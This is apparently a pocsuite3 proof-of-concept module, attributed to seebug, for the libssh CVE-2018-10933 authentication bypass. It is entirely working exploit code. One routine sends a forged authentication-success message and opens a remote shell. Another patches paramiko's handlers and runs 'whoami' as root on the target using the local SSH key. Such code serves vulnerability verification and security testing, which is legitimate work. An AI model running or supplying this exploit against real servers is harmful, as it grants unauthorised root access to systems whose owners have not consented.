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| import paramiko
import socket
import os
from urllib.parse import urlparse
from pocsuite3.lib.utils import url2ip
from pocsuite3.api import POCBase, Output, register_poc, logger
class DemoPOC(POCBase):
vulID = '97614'
version = '3'
author = ['seebug']
vulDate = '2018-10-18'
createDate = '2018-10-17'
updateDate = '2018-10-18'
references = ['https://www.seebug.org/vuldb/ssvid-97614']
name = 'libssh CVE-2018-10933 身份验证绕过漏洞'
appPowerLink = ' https://www.libssh.org'
appName = 'libssh'
appVersion = '>=0.6'
vulType = 'Login Bypass'
desc = '''libssh版本0.6及更高版本在服务端代码中具有身份验证绕过漏洞。攻击者可以在没有任何凭据的情况下成功进行身份验证。 进而可以进行一些恶意操作。'''
samples = ['']
install_requires = ['paramiko']
def _verify(self):
result = {}
pr = urlparse(self.url)
host = url2ip(self.url)
port = pr.port if pr.port else 22
if password_auth_bypass_test(host, port):
result['VerifyInfo'] = {}
result['VerifyInfo']['Target'] = '{0}:{1}'.format(host, port)
return self.parse_attack(result)
if fake_key_bypass_test(host, port):
result['VerifyInfo'] = {}
result['VerifyInfo']['Target'] = '{0}:{1}'.format(host, port)
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def password_auth_bypass_test(hostname, port):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
client = transport.open_session(timeout=10)
client.invoke_shell()
return True
except paramiko.SSHException as e:
logger.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
return False
except socket.error:
logger.debug("Unable to connect.")
return False
def auth_accept(*args, **kwargs):
new_auth_accept = paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_SUCCESS]
return new_auth_accept(*args, **kwargs)
def fake_key_bypass_test(hostname, port, username='root', keyfile=None, command='whoami'):
try:
if keyfile is None:
keyfile = os.path.join(os.environ['HOME'], '.ssh', 'id_rsa')
paramiko.auth_handler.AuthHandler._server_handler_table.update({paramiko.common.MSG_USERAUTH_REQUEST: auth_accept,})
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname, port=int(port), username=username, password="", pkey=None, key_filename=keyfile)
stdin, stdout, stderr = client.exec_command(command)
cmd_output = stdout.read()
client.close()
return True if cmd_output == 'root' else False
except FileNotFoundError:
logger.debug("Generate a keyfile for tool to bypass remote/local server credentials.")
return False
except paramiko.SSHException as e:
logger.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
return False
except socket.error:
logger.debug("Unable to connect.")
return False
register_poc(DemoPOC)
|